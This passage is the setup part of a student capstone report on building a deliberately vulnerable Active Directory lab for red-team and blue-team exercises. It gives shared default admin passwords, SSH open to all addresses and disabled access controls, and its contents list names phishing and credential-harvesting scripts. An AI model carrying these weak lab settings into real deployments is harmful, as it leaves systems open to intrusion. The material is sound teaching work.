

# Cover Page

University of Central Arkansas

# Cybersecurity Capstone Project:

From Vulnerable to Hardened: Building, Attacking, and Defending a Simulated LAN

Environment Through Red Team and Blue Team Operations

Joshua Grygus, Isaiah Stewart, Yannice Konyaole

CSEC 4490: Cybersecurity Capstone

Dr. Enes Erdin

25 April 2026

# Section #1: Introduction

## 1. INTRODUCTION

[2. Creation of Infrastructure](#)

[3. Red Team Versus Blue Team](#)

[4. Discussion & Findings](#)

1. Every 'Section' includes a table of contents for ease of navigation
2. Images/Diagrams for documentation purposes will be hyper-linked to a slide-show gallery for tidiness
3. Referenced sections' hyper-links will take readers up to three layers deep (e.g., 2.4.5.3.1 - 2.4.5)
4. All required software will have a download page cited on the 'References' page or CLI instructions
5. All required scripts, configuration files, and this report are hosted in the project's GitHub repository at <https://github.com/IsaiahSec/Krusty-Krab-Lab>
6. The domain is 'krustykrab.local' (for screenshots using 'krustykrabexample.local', replace with 'krustykrab.local' during setup)

This project is a self-contained virtual environment intended to simulate an enterprise network and features a small Active Directory domain covering several virtual machines on a private cloud-backed VPN, built specifically to be attacked, secured, broken, and rebuilt. In developing this project, we decided to go with a theme to model our LAN environment after, so we refer to this lab as the ‘Krusty Krab Lab’ after the user accounts and machines populating the domain. The environment combines components routinely encountered in modern organizational LANs: an Active Directory domain controller (blueTeamADVM) with DNS and an integrated mail server, a Linux intranet hosting a WordPress site joined to the domain via LDAP (blueTeamIntraVM), domain-joined Windows 7 and Windows 10 machines (blueTeamWin7VM, blueTeamWin10VM), a Kali-based Security Operations Center workstation running Wazuh [14] as a SIEM and OpenVAS for vulnerability scanning (blueTeamSOCVM), and an external Xubuntu-based attacker machine (redTeamXUVM) outside the domain.

The project began with a goal of gaining hands-on familiarity with the infrastructure and configuration patterns common to modern LANs and Active Directory domains: provisioning domain controllers, joining heterogeneous machines, configuring Group Policy, deploying centralized logging and active response, integrating an intranet web service and mail service with LDAP authentication, securing host firewalls, and then to practice attacking and securing that environment from both sides. The second goal, which emerged during the execution of the project and heavily shaped how we structured the report, was to evaluate the project itself as an accessible, hardware-modest environment designed to be reset-able in which cybersecurity concepts can be safely explored end-to-end without real-world consequences.

We realized, as students having taken both computer science and cybersecurity courses, that computer science is often more easily explored due to the ability to easily get hands on with

the material while cybersecurity has somewhat of a barrier to such learning and is traditionally more theory-based. In addition to this, cybersecurity as a discipline is broad: cryptography, network traffic analysis, web application exploitation, malware analysis, log analysis, social engineering, identity management, and incident response are all separate sub-fields with their own respective tool-chains and enough depth to have dedicated specialists. A practical, hands-on environment that touches several of these domains in a single setting capable of being reset and turned off and on freely stands to be a meaningful resource for cybersecurity learners. In light of this we present the lab not as a platform simply for three attack-and-defense scenarios, but also as a deliverable in and of itself that may be cloned, infected, attacked, hardened, and shared.

This report is organized into three main sections. Section #2, 'Creation of Infrastructure', details how every piece of the environment was provisioned and configured, including the AWS instance and the OpenVPN server that together serve as the glue for the environment, the individual virtual machines, the services they host, the Group Policy Objects that deploy security tooling and simulation logic, and the miscellaneous scripts that serve key functions in the environment. This section is intended to enable a reader to reproduce the project and explore the same attack-and-defense scenarios found in Section #3 'Red Team Versus Blue Team', including remote exploitation of an unpatched Windows 7 host, a denial-of-service attack against an unsecured web server, and a phishing campaign against internal users. Each scenario is presented as a red team process (vulnerability identification, attack theory, demonstration of vulnerability) paired with a blue team process (identification, remediation, demonstration of security). Section #4 'Discussion & Findings' contains our team's reflection on the project: findings of the project, notable issues we encountered, the limitations of the build, and the possible future directions this project could further explore or begin exploring.

## Section #2: Creation of Infrastructure

## **2. CREATION OF INFRASTRUCTURE**

### 2. CREATION OF INFRASTRUCTURE

#### 2.1. AWS Server Setup

#### 2.2. OpenVPN Server Installation & Configuration

#### 2.3. VirtualBox Snapshots

##### 2.3.1. Base Snapshots

##### 2.3.2. Secure Snapshots

#### 2.4. Creation of Blue Team & Red Team Machines

##### 2.4.1. blueTeamADVM

##### 2.4.2. blueTeamIntraVM

##### 2.4.3. blueTeamWin7VM

##### 2.4.4. blueTeamWin10VM

##### 2.4.5. blueTeamSOCVM

##### 2.4.6. redTeamXUVM

#### 2.5. Creation of Services

##### 2.5.1. blueTeamADVM Services

##### 2.5.2. blueTeamIntraVM Services

##### 2.5.3. blueTeamSOCVM Services

#### 2.6. Group Policy Objects

##### 2.6.1. Notes

##### 2.6.2. Deploy Wazuh

##### 2.6.3. Deploy Phishing

##### 2.6.4. Deploy Sysmon

##### 2.6.5. Disable Windows Firewall

#### 2.7. Miscellaneous Scripts

##### 2.7.1. kill-process-agent.cmd

##### 2.7.2. kill-process.sh

##### 2.7.3. ar-test.ps1

##### 2.7.4. Deploy-SMTPFirewallTask

##### 2.7.5. Sync-SMTPFirewall

##### 2.7.6. Wazuh Manager - Intranet Firewall Synchronization Script

##### 2.7.7. plankton\_phish\_demo.py

##### 2.7.8. harvester.py

## 2.1. *AWS Server Setup*

Amazon Elastic Compute Cloud (EC2) [1] is the name of the proprietary cloud service offered by AWS that provides highly scalable, secure, and flexible virtual servers that can accomplish any computing task tailored to the user with dynamic pricing. This is the IaaS we deployed to for around-the-clock availability on which we could create and simulate a private LAN.

Availability, accessibility, and flexibility ranked high among the list of requirements that needed to be satisfied in order for this project to be realized. To this end: we created an account with Amazon Web Services ([Figure 2.1.1](#)), set up MFA for the root account, navigated to the ‘AWS Management Console’ ([Figure 2.1.2](#)) selected ‘Sign in using root user email’ ([Figure 2.1.3](#)), and entered the root user account credentials. From the management console, we used the ‘Console Home’ to navigate to ‘All services/Compute/EC2’ ([Figure 2.1.4](#), [Figure 2.1.5](#)). Next, we scrolled down to ‘Launch a virtual server’, clicked on ‘Launch instance’ ([Figure 2.1.6](#)), clicked on ‘Launch without a walkthrough’, and began selecting the features, provisioning the appropriate hardware and software, and configuring the security, network, and authentication settings.

Instance configuration ([Figure 2.1.7](#), [Figure 2.1.8](#), [Figure 2.1.9](#)):

- ‘Name’: KrustyKrabLAN
- ‘Application and OS Image’: Amazon Linux  
(ami-06e3c045d79fd65d9, 64-bit (x86))
- ‘Instance type’: t2.nano (any is fine)

- ‘Key pair’: Capstone, RSA, .pem
- ‘Network settings’:
  - Allow SSH traffic from Anywhere (0.0.0.0/0), Port 22
  - Allow Custom UDP from Anywhere (0.0.0.0/0), Port 1194
- ‘Configure storage’: 1x 8 GiB, gp3
- ‘Advanced details’: N/A
- ‘Summary’: 1

Notes:

The specific version of ‘Amazon Linux’ used in this project no longer seems to be available for use in creating an EC2 instance. The older versions of the OpenVPN install will not support ‘Amazon Linux 3’, so it may be better to select ‘Ubuntu 22.04/20.04’ (without SQL) or an older version of Amazon Linux instead. Also, it should be of no consequence to select a different instance type (unless you intend to have many more machines than we did - in which case you may select a more powerful model). If there are issues connecting to the VPN server, review the network settings and ensure the rules are configured correctly. For the key pair, create a new key pair and ensure that ‘RSA’ and ‘.pem’ are selected, and ensure that new key pair is selected for use.

## 2.2. *OpenVPN Server Installation & Configuration*

The installation and configuration of the OpenVPN Server included selecting the appropriate version for our environment, generating the certificates for our machines, and adding the necessary static IP addresses in the configuration files of the OpenVPN Server installation. The first and second steps

must be done before the machines can communicate with each other (including domain-joining), while the third step is a prerequisite for the ‘A’ records for the DNS service that help domain-joined machines reach the mail portal and web server. The first part of this is important because it was the solution for a large problem we encountered in the set up of the environment. Downloading the connection client on all virtual machines is not enough, because different versions of the OpenVPN server software support different versions of the connection client due to the methods of encryption, versions of the TLS protocol, and more. To navigate this issue, we found the latest version of the connection client that Windows 7 could support, and then found the latest compatible version of the ‘Angristan’ OpenVPN Server and downloaded that [2]. Unfortunately, the exact version of the installer we used could not be determined, but navigating to the Github repository and downloading the installation file from around the year 2022 should be a safe bet.

In order to install and configure the OpenVPN Server, we first started and connected to our EC2 Instance ([Figure 2.2.1](#), [Figure 2.2.2](#)), ran the necessary commands to download and execute the installer ([Figure 2.2.3](#)), and chose the appropriate options ([Figure 2.2.4](#)) (found below). Next, we generated the certificates for the different machines ([Figure 2.2.5](#), [Figure 2.2.6](#)) (one shown, same process for each), and navigated to ‘/etc/openvpn/ccd/’ and created each necessary static IP record ([Figure 2.2.7](#), [Figure 2.2.8](#)). We needed a static IP record for ‘blueTeamADVM’, ‘blueTeamIntraVM’, and ‘blueTeamSOCVM’, and

assigned '10.8.0.10', '10.8.0.9', and '10.8.0.8' respectively. The commands in order:

- 'sudo su'
- 'wget  
<https://raw.githubusercontent.com/angristan/openvpn-install/86a6d2d3e7715fac982657826202518d29e8af95/openvpn-install.sh>'
- 'chmod +x openvpn-install.sh'
- './openvpn-install.sh'

The options:

- Default IPs when prompted (press enter)
- Do not enable IPv6 connectivity
- Default port (1194)
- Default transport protocol (UDP)
- Default DNS resolver (Adguard)
- No compression (default - n/N)
- Default encryption settings (n/N)
- Enter desired PEM passphrase (Ex: qwerty123!)
- Enter desired ca.key passphrase (Ex: qwerty123!)
- Enter ca.key passphrase again

Creating a new user:

- Run installer './openvpn-install.sh'
- Select 'Add a new user' (1)
- Select 'Add a passwordless client' (1)

- Enter name of client (Ex: blueTeamIntraVM)

Creating a static record:

- `cd '/etc/openvpn/ccd'`
- `'vim [name of client]'` (Ex: blueTeamADVM)
- Press the 'i' key and type `'ifconfig-push [IP address] 255.255.255.0'` (Ex: `ifconfig-push 10.8.0.10 255.255.255.0`)
- Press and hold the 'Shift' key and press the 'Colon' key and type `'wq'`

Finally, we edited `'/etc/openvpn/server.conf'` to prevent the default

AdGuard DNS servers from being pushed to clients by commenting out the two `'push "dhcp-option DNS..."` lines ([Figure 2.2.9](#)).

Notes:

If the EC2 instance is taken offline (it is a paid service based on time), a previously generated certificate will no longer authenticate a machine to the server and establish a tunnel. It will be necessary to either re-generate the certificate (messy because names must be unique and they are typically cached on the server) for the machine, or edit each machine's local configuration file and update it with the public IPv4 address of the new instance-session.

### 2.3. *VirtualBox Snapshots*

In VirtualBox [24], a user has the ability to take a 'Snapshot' [3] of a machine at any time, which will capture all of the settings and the complete state of all of the attached virtual disks. If taken while running, memory will also be recorded. Snapshots use a 'differencing' image, and once a snapshot is created, the original virtual disk will become effectively read-only with the changes up to that

point, and a new, dynamic differencing image will take its place. The differencing file will grow for every change made from the parent file, and child snapshots will ‘chain’ off of the previous snapshot, each storing differencing data from the parent (this is why child snapshots are typically much smaller than parent snapshots). Once a new snapshot is taken, the parent snapshot will become read-only and may not be updated except by restoring to it and creating another snapshot. Restoring to a snapshot will result in all changes since that snapshot being lost (unless there is a snapshot of the previous state).

#### *2.3.1. Base Snapshots*

The ‘base’ snapshot set is the set of parent snapshots for each of the machines that were taken at the point of functionality. After every machine was functioning appropriately, all services unrelated to security were running with no issues, and basic user logic was in place, we took the base snapshot (originally termed ‘functional’). These snapshots are the largest as they contain all of the base infrastructure additions and configuration changes made since the creation of the machines. These snapshots represent the ‘unsecure’ LAN that is technically ‘functional’ but does not operate securely and has many demonstrable vulnerabilities.

#### *2.3.2. Secure Snapshots*

The ‘secure’ snapshot set is the set of child snapshots of the base snapshot set for each of the machines. These snapshots were taken after adding the appropriate configuration changes, GPOs, and deployment of

the SOCVM. This set of snapshots include the Wazuh security agent and SIEM as well as the firewall changes for the intranet. This secure set is designed to be more resistant to the attacks explored thus far in the environment. Before taking a machine's secure snapshot, verify that the GPO-deployed security tooling has been successfully applied to that machine. For domain-joined Windows machines (blueTeamADVM, blueTeamWin7VM, blueTeamWin10VM), this means confirming that the Wazuh agent service is running ('Get-Service Wazuh' or via the 'Services' GUI), Sysmon is installed and its service is running ('Get-Service Sysmon64' or via the 'Services' GUI), the 'kill-process-agent.cmd' active response handler is present at 'C:\Program Files (x86)\ossec-agent\active-response\bin\'', and the phishing simulation scheduled tasks exist under the appropriate domain users (via the 'Task Scheduler' GUI) and did not experience any errors. On blueTeamIntraVM the host firewall hardening must be in place ([See Section 2.4.2.4](#)), and on blueTeamSOCVM the Wazuh Manager and OpenVAS services must be running and accessible. If a snapshot is taken before secure configurations are verified, the resulting child snapshot may represent an incomplete secure configuration.

## *2.4. Creation of Blue Team & Red Team Machines*

### *2.4.1. blueTeamADVM*

#### *2.4.1.1. Operating System*

This machine runs Windows Server 2016 (Version 1607) [4], the ninth in the family of Microsoft's enterprise-grade solutions for running and hosting applications and services. Server 2016 is based on Microsoft's 'Windows 10' operating system and is currently considered legacy and on "extended support" after Microsoft discontinued mainstream support in 2022. Differences from previous products in the server line include: 'Nano Server', docker-driven containers for application sandboxing, 'S2D', and the ability to 'shield' hosted virtual machines via BitLocker. Windows Server 2016 was utilized in this project dominantly due to the observation that going back any further in the server family would result in significantly more challenges in running more modern services and applications, but also because it felt more representative of information technology infrastructure likely to be encountered in modern-day environments.

#### *2.4.1.2. Setup*

blueTeamADVM was deployed via VirtualBox from the 'Windows\_Server\_2016\_Datacenter\_EVAL\_en-us\_14393\_refresh' ISO file obtained from Microsoft's Evaluation Center download page. After clicking on the English '64-bit edition' link ([Figure 2.4.1.2.1](#)) and selecting the ISO image in VirtualBox's 'Machine/New' creation tool ([Figure 2.4.1.2.2](#)). A single core, 2,048 MB of memory ([Figure 2.4.1.2.3](#)), 128 MB of video memory

([Figure 2.4.1.2.4](#)), and 40 GB of storage ([Figure 2.4.1.2.5](#)) was allocated to support this machine. Additionally, 'Shared Clipboard' as well as 'Drag'n'Drop' were set to 'Bidirectional' ([Figure 2.4.1.2.6](#)). It is important to note that VirtualBox Manager's 'Unattended Install' was not used as we selected 'Skip Unattended Installation' (See [Figure 2.4.1.2.2](#)). VirtualBox's unattended tool seems to install the OS gui-less even if the 'Desktop Experience' option is selected under 'Edition'.

For the OS Installation we left the language, time, and keyboard settings as default, and, when prompted, we selected 'Windows Server 2016 Standard Evaluation (Desktop Experience)' ([Figure 2.4.1.2.7](#)). After this, we chose 'Custom: Install Windows Only (advanced)' ([Figure 2.4.1.2.8](#)) and clicked next. This led us to the 'Customize settings' stage where we configured the local administrator account 'Administrator' with the default admin password we chose for this project 'KrustyAdmin!' ([Figure 2.4.1.2.9](#)). This completed setup.

### *2.4.1.3. Base Configuration*

#### *2.4.1.3.1. Firefox*

It made life easier to first download a more modern web browser so that we would not need to use Internet Explorer, so for this we chose Mozilla's Firefox (Version 147.0.4) [22]. To do this, we opened Internet Explorer,

searched for ‘firefox downloads archive’, clicked on the result from ‘ftp.mozilla.org’ ([Figure 2.4.1.3.1.1](#)), navigated to the ‘147.0.4’ directory ([Figure 2.4.1.3.1.2](#)), and continued to ‘win64/en-US’ and downloaded ‘Firefox Setup 147.0.4 exe’ ([Figure 2.4.1.3.1.3](#)). From there, we simply ran the installer with default options and used Firefox instead of IE.

Notes:

If an issue is encountered with the page not loading, it may be due to Javascript not being enabled in IE’s ‘Internet Options’. To enable Javascript, and other scripting support, we clicked on the gear icon in the top right of the browser window and clicked on ‘Internet Options’ ([Figure 2.4.1.3.1.4](#)), clicked on the ‘Security’ tab ([Figure 2.4.1.3.1.5](#)), ‘Custom level...’ ([Figure 2.4.1.3.1.6](#)), scrolled down to the ‘Scripting’ section, set ‘Active scripting’ to ‘Enable’ ([Figure 2.4.1.3.1.7](#)), and clicked ‘Apply’.

#### *2.4.1.3.2. .NET Framework 3.5*

While selecting the AD DS role should prompt a requirement for ‘.NET Framework 3.5 Features’, we recommend manually selecting and installing this feature and verifying there are no issues with the installation before attempting to install AD DS, DNS, and IIS. From the

‘Server Manager Dashboard’, we navigated to ‘Manage/Add Roles & Features’ ([Figure 2.4.1.3.2.1](#)). clicked ‘Next’, ‘Next’, ‘Next’, ‘Next’, and selected ‘.Net Framework 3.5 Features’ (ignore the two boxes regarding HTTP) and clicked ‘Next’ ([Figure 2.4.1.3.2.2](#)), and finally ‘Install’ ([Figure 2.4.1.3.2.3](#)). Successful installation should show ‘Installation succeeded on [Server Name]’ ([Figure 2.4.1.3.2.4](#)).

Notes:

If the error message ‘Do you need to... alternate source path?’ appears, ensure that the ISO image file is mounted via the VirtualBox VM Window’s ‘Devices’, ‘Optical Drives/Choose/Create a Disk Image...’ and selecting the ISO image file ([Figure 2.4.1.3.2.5](#), [Figure 2.4.1.3.2.6](#)), click on ‘Specify an alternate source path’ ([Figure 2.4.1.3.2.7](#)), copy the path of the ‘SxS’ folder from the ISO image directory ([Figure 2.4.1.3.2.8](#)), paste that path into the ‘Path:’ field, click ‘OK’ ([Figure 2.4.1.3.2.9](#)), and ‘Install’.

#### 2.4.1.3.3. *OpenVPN*

In order to connect to the OpenVPN server, we needed certain versions of OpenVPN [11] compatible with each operating system and compatible with the version of

OpenVPN running on the server. For blueTeamADVM, we chose ‘OpenVPN 2.5.9-I601’. To install this version, we used Firefox and searched for ‘openvpn downloads archive’, clicked on the result from ‘build.openvpn.net’ ([Figure 2.4.1.3.3.1](#)), scrolled to ‘2.5.9’ and downloaded the ‘OpenVPN-2.5.9-I601-amd64.msi’ file ([Figure 2.4.1.3.3.2](#)). From there, we ran the installer and selected ‘Install Now’ ([Figure 2.4.1.3.3.3](#)). Next, we opened ‘OpenVPN - Settings’ from System Tray (bottom-right carrot)→Right-click→Settings and disabled ‘Always use interactive service’ and ‘Launch on User Logon’ ([Figure 2.4.1.3.3.4](#)). After this, we opened ‘Services’, found ‘OpenVPN Interactive Service’ and set it to ‘Disabled’, and found ‘OpenVPNService’ and set it to ‘Automatic’ ([Figure 2.4.1.3.3.5](#)). Finally, we took the ‘blueTeamADVM.ovpn’ file generated by the OpenVPN server and placed it within the ‘config-auto’ folder ([Figure 2.4.1.3.3.6](#)).

Notes:

Ensure the OpenVPN configuration file is only in the ‘config-auto’ folder and not duplicated anywhere else on the host, and that the interactive service is disabled and the GUI is not running in the System Tray.

If 'OpenVPNService' is for some reason not installed as part of the standard installation option, use the installer to 'Remove' OpenVPN ([Figure 2.4.1.3.3.7](#)), re-run the installer and select 'Customize' ([Figure 2.4.1.3.3.8](#)), ensure that 'OpenVPN Service' is set to 'Entire Feature will be installed on local hard drive', and select 'Install Now' ([Figure 2.4.1.3.3.9](#)).

#### *2.4.1.3.4. DNS*

The order of steps in the DNS configuration is important. First, we clicked on the magnifying glass, searched for 'Control Panel', and pressed enter ([Figure 2.4.1.3.4.1](#)). Next, we clicked on 'Network and Internet', 'Network and Sharing Center', and 'Change adapter settings' ([Figure 2.4.1.3.4.2](#)). This will be the menu from which the 'Ethernet' and the 'OpenVPN TAP...' adapters may be accessed and configured in the following steps ([Figure 2.4.1.3.4.3](#)). Before installing AD DS, DNS, and IIS, it is necessary to have the Ethernet adapter using reliable public DNS, but DHCP should be fine ([Figure 2.4.1.3.4.4](#)), the OpenVPN adapter pointing to the server's static IP from the OpenVPN server ([Figure 2.4.1.3.4.5](#)), have .NET framework 3.5 installed ([See Section 2.4.1.3.2](#)), disable IPv6 on all adapters ([Figure 2.4.1.3.4.6](#)), and to

ensure that the OpenVPN configuration has already been done ([See Section 2.4.1.3.3](#)) and that the OpenVPN server is configured for a static IP assignment for the server (See [Section 2.2](#)). It is important to ensure that DNS is working properly before attempting to install the server features and promote the server to domain controller. After promoting to domain controller, another critical step is to set the Ethernet adapter to use the domain controller itself as the DNS server ([Figure 2.4.1.3.4.7](#)), or issues with services using LDAP will occur. In addition, we configured the network interface priority metrics to favor the OpenVPN interface (lower is higher) in order to avoid routing issues potentially affecting services using LDAP ([Figure 2.4.1.3.4.8](#)):

- ‘Set-NetIPInterface -InterfaceAlias “OpenVPN TAP-Windows6” -InterfaceMetric 5’
- ‘Set-NetIPInterface -InterfaceAlias “Ethernet” -InterfaceMetric 50’

#### *2.4.1.3.5. Oracle Guest Additions*

This step may be performed at any time, but for improved quality-of-life we recommend mounting and installing Virtual Box’s Guest Additions. To do this, from the top of the VM window we selected ‘Devices’, ‘Optical

Drives/Choose a Disk File...' ([Figure 2.4.1.3.5.1](#)), navigated to 'C:\Program Files\Oracle\VirtualBox', and clicked 'Open' ([Figure 2.4.1.3.5.2](#)). Alternatively, simply click 'Insert Guest Additions CD Image...' ([Figure 2.4.1.3.5.3](#)). Next, we opened 'File Explorer' from the Taskbar, clicked on 'This PC', and double-clicked the newly mounted drive associated with VirtualBox Guest Additions ([Figure 2.4.1.3.5.4](#)). This should open the installer, but if not, the installer may be selected by navigating directly to the drive under the 'This PC' drop down menu and double-clicking the 'VBoxWindowsAdditions-amd64' ([Figure 2.4.1.3.5.5](#)). After this, in the installer GUI, we clicked on 'Next' ([Figure 2.4.1.3.5.6](#)), 'Next' (leaving path as default, change if necessary) ([Figure 2.4.1.3.5.7](#)), and finally 'Install' ([Figure 2.4.1.3.5.8](#)). After the installation completes, optionally choose to reboot now or later and click 'Finish', but after the reboot guest additions should be functioning, enabling clipboard sharing, file sharing, and automatic window re-sizing ([Figure 2.4.1.3.5.9](#)).

#### 2.4.1.3.6. *Host Name*

The name of the server is important. The name will need to be changed before adding the server features via the

‘Server Manager’ application. By default, the server will have a name like ‘WIN-....’ followed by a string of letters and numbers. We changed this to ‘KK-DC’ for ‘Krusty Krab Domain Controller’. To do this, we used the search function on the Taskbar to search for ‘Control Panel’ ([Figure 2.4.1.3.6.1](#)), pressed the enter-key, clicked on ‘System and Security’ ([Figure 2.4.1.3.6.2](#)), clicked on ‘See the name...’ under ‘System’ ([Figure 2.4.1.3.6.3](#)), clicked on ‘Change Settings’ ([Figure 2.4.1.3.6.4](#)), clicked on ‘Change...’ ([Figure 2.4.1.3.6.5](#)), entered ‘KK-DC’, and clicked on ‘OK’ ([Figure 2.4.1.3.6.6](#)). After this, the OS informed us that a reboot was necessary to apply changes. We clicked ‘OK’ and ‘Restart Now’.

#### 2.4.1.4. *Secure Configuration*

This machine’s secure snapshot is different from the base snapshot due to the SMTP firewall scheduled task logic ([See Section 2.7.4](#), [See Section 2.7.5](#)) the Wazuh agent deployment, Sysmon deployment, secure phishing simulation deployment, and the addition of Python. When these group policies are applied, it will be necessary to verify that deployment was successful before taking the snapshot of the machine for the secure snapshot set. For verification steps to perform before taking the secure snapshot of this machine, [See Section 2.3.2](#). We installed Python by opening

Firefox and navigating to

[‘https://www.python.org/downloads/windows/’](https://www.python.org/downloads/windows/) (Figure 2.4.1.4.1),

downloading the latest Windows-based installer (Figure 2.4.1.4.2),

and running the installer after navigating to the ‘Downloads’ folder

using ‘File Explorer’ with the ‘Use admin privileges when

installing py.exe’ and ‘Add python.exe to PATH’ options enabled

(Figure 2.4.1.4.3, Figure 2.4.1.4.4).

## 2.4.2. *blueTeamIntraVM*

### 2.4.2.1. *Operating System*

This machine runs Ubuntu (Version 24.04.3 LTS) [5].

Ubuntu is a distribution of the GNU/Linux operating system. This is the ‘Long-Term-Support’ release of Ubuntu’s ‘Noble Numbat’, and was released on April 25th, 2024. This version features version 6.8 of the Linux Kernel, GNOME 46 for improved file searching, a Flutter-based installer (minimal by default), and improved Microsoft Active Directory integration. To save on storage and general hardware resources, please consider using XUbuntu (Version 24.04). This is the same OS, but uses a more lightweight desktop environment.

### 2.4.2.2. *Setup*

blueTeamIntraVM was deployed via VirtualBox from the ‘ubuntu-24.04.3-desktop-amd64’ ISO file obtained from Ubuntu’s releases site after navigating to the ‘24.04.3’ parent directory,

scrolling down to the '24.04.3' images, and clicking on the 'torrent' link ([Figure 2.4.2.2.1](#)). It will be necessary to install a torrent client, such as qBittorrent, to download the ISO file from the torrent file ([Figure 2.4.2.2.2](#)). A single core, 2,048 MB of memory ([Figure 2.4.2.2.3](#)), 128 MB of video memory ([Figure 2.4.2.2.4](#)), and 15 GB of storage ([Figure 2.4.2.2.5](#)) was allocated to support this machine (may use 25 GB if your machine supports it). Additionally, 'Shared Clipboard' as well as 'Drag'n'Drop' were set to 'Bidirectional' ([Figure 2.4.2.2.6](#)). It is important to note that VirtualBox Manager's 'Unattended Install' was not used as we selected 'Skip Unattended Installation' ([Figure 2.4.2.2.7](#)). After booting, we selected 'Try or Install Ubuntu' ([Figure 2.4.2.2.8](#)), and followed the instructions in the bootstrapper using the default settings. For the 'Create your account' part of the installation, we used 'administrator', 'blueTeamIntraVM', 'administrator', 'KrustyAdmin!', and enabled the 'Require my password to log in' and did not enable the 'Use Active Directory' option connecting to the domain requires the OpenVPN client and certificate first ([Figure 2.4.2.2.9](#)). After this, we clicked 'Next' and 'Install'.

Notes:

If the Ubuntu installation freezes during the 'Copying Files' portion of the install process, temporarily increase the amount of RAM allocated for the machine in VirtualBox Manager.

Increasing the amount to 4,096 GB instead of 2,048 GB, and after installation lowering the amount to 2,048 GB, seems to resolve the issue.

#### 2.4.2.3. *Base Configuration*

##### 2.4.2.3.1. *OpenVPN*

For blueTeamIntraVM, the version of OpenVPN is not as important, but the latest version available in the Ubuntu repositories at the time of installation was ‘OpenVPN 2.6.19’. To install this version, we opened the Terminal and ran ‘sudo apt update && sudo apt install -y openvpn’ ([Figure 2.4.2.3.1.1](#)). We then took the ‘blueTeamIntraVM.ovpn’ file generated by the OpenVPN server and copied the contents to a file of the same name and extension on the desktop ([Figure 2.4.2.3.1.2](#), [Figure 2.4.2.3.1.3](#)). After this, we ran two commands to place the file in the correct directory and start the OpenVPN service on the machine ([Figure 2.4.2.3.1.4](#)):

- ‘sudo cp ~/Desktop/blueTeamIntraVM.ovpn /etc/openvpn/client/blueTeamIntraVM.conf’
- ‘sudo systemctl enable --now openvpn-client@blueTeamIntraVM’

Finally, in order to make required DNS settings persist across reboots and tunnel re-connections, we

installed the ‘openvpn-systemd-resolved’ package by running ‘sudo apt install -y openvpn-systemd-resolved’ ([Figure 2.4.2.3.1.5](#)), and edited the configuration file to apply the settings on each tunnel-up event by appending the following lines after the existing directives and before the certificate blocks ([Figure 2.4.2.3.1.6](#)):

- ‘script-security 2’
- ‘up /etc/openvpn/update-systemd-resolved’
- ‘up-restart’
- ‘down /etc/openvpn/update-systemd-resolved’
- ‘down-pre’
- ‘dhcp-option DNS 10.8.0.10’
- ‘dhcp-option DOMAIN-ROUTE krustykrab.local’

#### 2.4.2.3.2. *Oracle Guest Additions*

To install Oracle Guest Additions, we ran ([Figure 2.4.2.3.2.1](#)):

- ‘sudo apt update’
- ‘sudo apt install -y virtualbox-guest-utils  
virtualbox-guest-x11’
- ‘sudo reboot’

This may enable automatic window re-sizing and clipboard sharing, but the ‘Drag’n’Drop’ feature may not function properly, and intermittently all services may fail to

function. To resolve this, we edited the GNOME Display Manager (GDM) configuration file located at `‘/etc/gdm3/custom.conf’` ([Figure 2.4.2.3.2.2](#)) and disabled ‘Wayland’ sessions (forcing ‘Xorg’ sessions). In the file, we un-commented the `‘#WaylandEnable=false’` line, saved the file ([Figure 2.4.2.3.2.3](#)), and rebooted the machine.

Notes:

If the Guest Additions fail, it may be because of an conflicting installation attempt with the `‘VBoxLinuxAdditions.run’` file or a broken or partial installation. We ran `‘sudo apt purge -y ‘virtualbox-guest-*’` and rebooted to reset the installation properly ([Figure 2.4.2.3.2.4](#)) We then ran the earlier installation commands again to lay down a fresh installation of Guest Additions to resolve the conflict ([Figure 2.4.2.3.2.5](#)). It is possible, as in our case, that the services fail to launch at start-up. In this case, we created an ‘autostart’ folder in the `‘home/[user]/.config/’` directory and an auto-start file `‘vboxclient.desktop’` ([Figure 2.4.2.3.2.6](#)) which starts all ‘VBoxClient’ services silently ([Figure 2.4.2.3.2.7](#)) during desktop environment initialization.

#### *2.4.2.3.3. Joining The Domain*

To participate in Active Directory authentication and resolve internal hostnames, blueTeamIntraVM must be joined to the domain. We did this via ‘realm’ with ‘SSSD’ as the back-end.

Before joining the domain, it is important to ensure that the OpenVPN tunnel is up and DNS for the OpenVPN interface is directed to the domain controller ([See Section 2.4.2.3.1](#)). First, we installed the required packages to join the domain ([Figure 2.4.2.3.1](#)):

- ‘sudo apt update’
- ‘sudo apt install -y realm sssd sssd-tools libnss-sss libpam-sss adcli samba-common-bin oddjob oddjob-mkhomedir packagekit’

After this, we discovered the domain to confirm reachability and verified that the domain controller responded with the expected information using ‘sudo realm discover krustykrab.local’ ([Figure 2.4.2.3.2](#)). We then joined the domain using a domain administrator account ([See Section 2.5.1.3.3](#)) using ‘sudo realm join --user=Sandy.Cheeks krustykrab.local’ ([Figure 2.4.2.3.3](#)). We then navigated into ‘/etc/sss/sss.conf’ and configured ‘SSSD’ to also search by User Principal Name (UPN), use the correct IP for the DC (instead of the VirtualBox NAT

IP), and disable the default access control GPO on the Linux machine by adding three lines to the

‘[domain/krustykrab.local]’ section ([Figure 2.4.2.3.3.4](#)):

- ‘ldap\_user\_principal = userPrincipalName’
- ‘ad\_server = 10.8.0.10’
- ‘ad\_gpo\_access\_control = disabled’

Finally, we enabled home directory creation for domain users on first login and verified the machine’s domain status ([Figure 2.4.2.3.3.5](#)):

- ‘sudo pam-auth-update --enable mkhomedir’
- ‘realm list’

Notes:

If there is an error with insufficient permissions to join the domain, ensure that the ‘Domain Admins’ group was delegated full permissions to the domain, and that the user being used for this operation is in the ‘Domain Admins’ group ([See Section 2.5.1.3.3](#)). If permissions are correctly delegated, ensure that the reverse-DNS zone or ‘PTR’ record was set up correctly ([See Section 2.5.1.2.2](#)). If it was, then it is most likely an issue with clock skew between the domain controller and the joining machine. First, check the time zone of the domain controller and, if wrong, right click the system clock, ‘Adjust date/time’, and

select the correct time zone ([Figure 2.4.2.3.3.6](#)). Next, synchronize the joining machine. On a linux machine, this can be done with the following commands ([Figure 2.4.2.3.3.7](#)):

- ‘sudo timedatectl set-ntp true’
- ‘sudo systemctl restart systemd-timesyncd’
- ‘date’

If domain user lookups via ‘id [user]@krustykrab.local’ return ‘no such user’ after a reboot, verify that DNS on the OpenVPN interface is still configured (‘resolvectl status tun0’ should show 10.8.0.10). If not, the persistence configuration in ‘/etc/openvpn/client/blueTeamIntraVM.conf’ has been removed or was not saved ([See Section 2.4.2.3.1](#)). SSSD’s back-end will mark itself offline if it cannot reach the domain via DNS at start-up, and stays offline until DNS works and SSSD is restarted.

